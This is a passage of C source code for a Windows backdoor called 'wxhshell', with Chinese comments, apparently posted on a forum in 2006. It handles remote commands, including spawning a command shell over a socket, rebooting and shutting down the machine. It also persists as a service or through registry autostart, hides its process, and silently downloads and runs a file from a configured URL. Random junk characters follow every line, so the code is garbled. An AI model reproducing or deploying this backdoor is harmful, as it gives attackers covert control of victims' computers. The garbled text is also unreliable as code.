f.V0uBDN  
    switch(cmd[0]) { qaG%PH}a  
  P,_GTs3/G  
  // 帮助 *)L%pH>`  
  case '?': { D@>P%k$$s>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &zb_8y,  
    break; +_ K7x5g  
  } @>(l}5U5  
  // 安装 xqmJPbA  
  case 'i': { %}+j4n  
    if(Install()) Y\dK- M{$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $hg W>e  
    else "aB]?4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yr[iAi"  
    break; kx]f`b  
    } EOVHTDkKf  
  // 卸载 .6(Bf$E  
  case 'r': { %DgU  
    if(Uninstall()) XH1so1h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 04WKAP'c N  
    else }P-9\*hlm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Y &Q,  
    break; JQQD~J1)E  
    } 1 (P >TH  
  // 显示 wxhshell 所在路径 vb5tyY0c  
  case 'p': { g#9KG  
    char svExeFile[MAX_PATH]; 9i,QCA  
    strcpy(svExeFile,"\n\r"); v;?t=}NwF  
      strcat(svExeFile,ExeFile); YpL{c*M  
        send(wsh,svExeFile,strlen(svExeFile),0); |+cyb<(V J  
    break; 6LNm>O  
    } QIBv}hgcy  
  // 重启 U/D\N0  
  case 'b': { "MZVwl"E#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ToDNBt.u{+  
    if(Boot(REBOOT)) yY`<t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jVi''#F?f  
    else { UMx>n18;f9  
    closesocket(wsh); Zo-s_6uC  
    ExitThread(0); I&Yu=v/_  
    } 3::DURkjf  
    break; !_l W#feR  
    }  ]c[80F-  
  // 关机 'ZT E"KT  
  case 'd': { .~ZNlI {K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hb_YdnG  
    if(Boot(SHUTDOWN)) G80d!*7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ax=Rb B"  
    else { !Lk|eGd*  
    closesocket(wsh); ,Z&"@g  
    ExitThread(0); j= ]WAjT  
    } ~?[%uGI0h  
    break; y5|`B(  
    } ~iEH?J%i1r  
  // 获取shell SZK~<@q5  
  case 's': { .CQ IN]iD  
    CmdShell(wsh); y?CEV-3+  
    closesocket(wsh); 19 bP0y  
    ExitThread(0); ,t*#o&+  
    break; i,<TaW*I  
  } oxHS7b  
  // 退出 l4L&hY^  
  case 'x': { w<-CKM3qe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BU<A+Pe>  
    CloseIt(wsh); i^Ep[3  
    break; KosAc'/ M  
    } vT\`0di~  
  // 离开 ;w}ZI<ou  
  case 'q': { f{^C+t{r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 42ttmN1F  
    closesocket(wsh); Mf/zSQk+  
    WSACleanup(); 0&2TeqsLh)  
    exit(1); MFiX8zwhx+  
    break; |v[{k>7f  
        } q`"gT;3S  
  } qD7# q]  
  } `[VoW2CLH+  
3xp%o5K  
  // 提示信息 $-jj%x\}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gSL$silc  
} :&&Ps4\Sq  
  } ^qS[2Dy  
T$0//7$')  
  return; bkLm]n3  
} [fxAj]  
T AwA)Zg  
// shell模块句柄 y9pQ1H<F;  
int CmdShell(SOCKET sock) /".+OpL  
{ k8 ,.~HkU  
STARTUPINFO si; d]0fgwwGC  
ZeroMemory(&si,sizeof(si)); R`!x<J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^r}^-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~ NK w}6  
PROCESS_INFORMATION ProcessInfo; 2\CFt;fk  
char cmdline[]="cmd"; Z[ZqQ` 7N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8e[kE>tS._  
  return 0; 1EyM,$On  
} $X9-0-  
.FXq4who  
// 自身启动模式 %_KNAuM  
int StartFromService(void) ;ZFn~!V  
{ kJZBQ<^  
typedef struct HZkC3$  
{ Ac^}wXp  
  DWORD ExitStatus; _F;(#D  
  DWORD PebBaseAddress; N&-d8[~  
  DWORD AffinityMask; >e>Q'g{  
  DWORD BasePriority; ) e;)9~  
  ULONG UniqueProcessId; z,X ^;  
  ULONG InheritedFromUniqueProcessId; ^ :6v- Yx  
}   PROCESS_BASIC_INFORMATION; Yvs9)g  
{y`afuiB  
PROCNTQSIP NtQueryInformationProcess; a4 O  
b_W0tiyv%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vp[~%~1(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .NiPaUzc<  
UpN:F  
  HANDLE             hProcess; (`<l" @:_*  
  PROCESS_BASIC_INFORMATION pbi; N$6Rg1  
6}K|eUak/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WG1Uv PK  
  if(NULL == hInst ) return 0; z"Gk K T  
)DI/y1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !FA^~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fY}e.lD  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S^c5  
p*-o33Ve  
  if (!NtQueryInformationProcess) return 0; vaxNF%^~yN  
_$9<N5F.,o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 13'tsM&  
  if(!hProcess) return 0; N|h`}*:x=  
y9=/kFPRm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QG4#E$ c  
oi::/W|A+  
  CloseHandle(hProcess); p6A"_b^  
ZgcA[P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "6gu6f  
if(hProcess==NULL) return 0; 5Q?7 xTQ  
)^|zuYzN  
HMODULE hMod; ]mn(lK  
char procName[255]; R1! {,*Gy  
unsigned long cbNeeded; V=H87 ^b  
sc@v\J;k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); s~6?p% 2]  
:cnH@:  
  CloseHandle(hProcess); <ij;^ygYD  
INyreoMp  
if(strstr(procName,"services")) return 1; // 以服务启动 sG%Q?&-  
QukLsl]U  
  return 0; // 注册表启动 P2_JS]>  
} lo,?mj%M  
Q6`oo/  
// 主模块 DQ?'f@I&*  
int StartWxhshell(LPSTR lpCmdLine) %+:%%r=Q  
{ |0vY'A)]  
  SOCKET wsl; x&8HBF'  
BOOL val=TRUE; S =U*is  
  int port=0; A%Pjg1(uX  
  struct sockaddr_in door; vnw83a%3  
`$JPF  Z  
  if(wscfg.ws_autoins) Install(); ((SN We  
2~<?E`+  
port=atoi(lpCmdLine); LR@rn2Z  
-|~6Zf"  
if(port<=0) port=wscfg.ws_port; DDwH9*  
4l@*x^F  
  WSADATA data; G[)Ll=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ep|W>  
aW$sd)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a<kx95  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .8<bz4  
  door.sin_family = AF_INET; V44IA[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w6F4o;<PR  
  door.sin_port = htons(port); q=M!YWz  
S#/[>Cb  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^cz #PNB  
closesocket(wsl); 'gxSHqeI2  
return 1;  5%mc|  
}  O3bo3Cm$  
c_s=>z  
  if(listen(wsl,2) == INVALID_SOCKET) { r{pTM cDS  
closesocket(wsl); C&^"]-t  
return 1; L%# #U'e3  
} 2ro4{^(_  
  Wxhshell(wsl); f]tc$`vb  
  WSACleanup(); qt=gz6!  
|2,u!{  
return 0; 4GH?$p|LX  
8{Bcl5]<  
} Z!0D97^  
@MWrUx  
// 以NT服务方式启动 6 D_3Hwrs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c:.k2u  
{ 3fgVvt-2  
DWORD   status = 0; h2# G  
  DWORD   specificError = 0xfffffff; \{ r%.G  
#eD@s En  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  )`!i"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y m<3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HFu#-}iNV  
  serviceStatus.dwWin32ExitCode     = 0; ^vS+xq|4"  
  serviceStatus.dwServiceSpecificExitCode = 0; c |  
  serviceStatus.dwCheckPoint       = 0; CPWe (  
  serviceStatus.dwWaitHint       = 0; ?B.>VnYZ/a  
=B@owx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k_ 9gMO  
  if (hServiceStatusHandle==0) return; +@ga  
eGwrSF#a)  
status = GetLastError(); 9^h0D}#@  
  if (status!=NO_ERROR) 9YS&RBJu  
{ &x =}m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _5 Zhv-7  
    serviceStatus.dwCheckPoint       = 0; p}$VBl$'  
    serviceStatus.dwWaitHint       = 0; PE4#dx^  
    serviceStatus.dwWin32ExitCode     = status; :8cp]v dW  
    serviceStatus.dwServiceSpecificExitCode = specificError; \R#]}g0!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); bnt>j0E  
    return; y=_8ae}aD~  
  } 'te4mY}  
AP&mr1_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'gHa3:US  
  serviceStatus.dwCheckPoint       = 0; I&^ B?"Y  
  serviceStatus.dwWaitHint       = 0; uO8z.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DUUQz:?{J  
} >0z(+}]3z  
e~w-v"'  
// 处理NT服务事件,比如:启动、停止 7SOi9JU_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 49q\/  
{ FJDx80J  
switch(fdwControl) o{5es  
{ [LDsn]{  
case SERVICE_CONTROL_STOP: 7t &KKKV  
  serviceStatus.dwWin32ExitCode = 0; 99j^<)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T~@$WM(  
  serviceStatus.dwCheckPoint   = 0; }wJ-*By{+  
  serviceStatus.dwWaitHint     = 0; 'yd<<BM`  
  { 4+qoq$F</  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |giV<Sj  
  } $a|C/s+}7>  
  return; LxaR1E(Cc'  
case SERVICE_CONTROL_PAUSE: qOAK`{b  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qxr&zT7f  
  break; #\U;,r  
case SERVICE_CONTROL_CONTINUE: wN'Q\l+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?.Z4GWyXa  
  break; < 3i2(k  
case SERVICE_CONTROL_INTERROGATE: ;/T=ctIs  
  break; .21[3.bp/q  
}; u hW @ Y+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %s<7 M@]f  
} b3]QH h/  
8L]em&871  
// 标准应用程序主函数 :%-xiv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *\ZK(/V  
{ Nr 5h%<` I  
3.,O7 k7y  
// 获取操作系统版本 S?TyC";!  
OsIsNt=GetOsVer(); (|H1zO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qz6Ry\u  
Ni "n_Yun  
  // 从命令行安装 Dg(882#_  
  if(strpbrk(lpCmdLine,"iI")) Install(); zSt6q  
M{M>$pt   
  // 下载执行文件 !@j5yYf  
if(wscfg.ws_downexe) { w$%d"Jm#X  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g*]Gc%  
  WinExec(wscfg.ws_filenam,SW_HIDE); }Jfi"L  
} Ch;C\H:X  
8Ac5K!  
if(!OsIsNt) { 9,8}4Y=GVI  
// 如果时win9x,隐藏进程并且设置为注册表启动 92zo+bc  
HideProc(); C 8 [W  
StartWxhshell(lpCmdLine); h~|B/.[R:3  
} )w\E^  
else l Q/u#c$n  
  if(StartFromService()) *UM=EQaYk  
  // 以服务方式启动 B+W 4r9#  
  StartServiceCtrlDispatcher(DispatchTable); 7\ELr 5  
else DPIIE2X  
  // 普通方式启动 i`#5dIb   
  StartWxhshell(lpCmdLine); .KH3.v/c|  
P")duv  
return 0; %^1@c f?.  
}
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只看该作者 1 发表于: 2006-10-10
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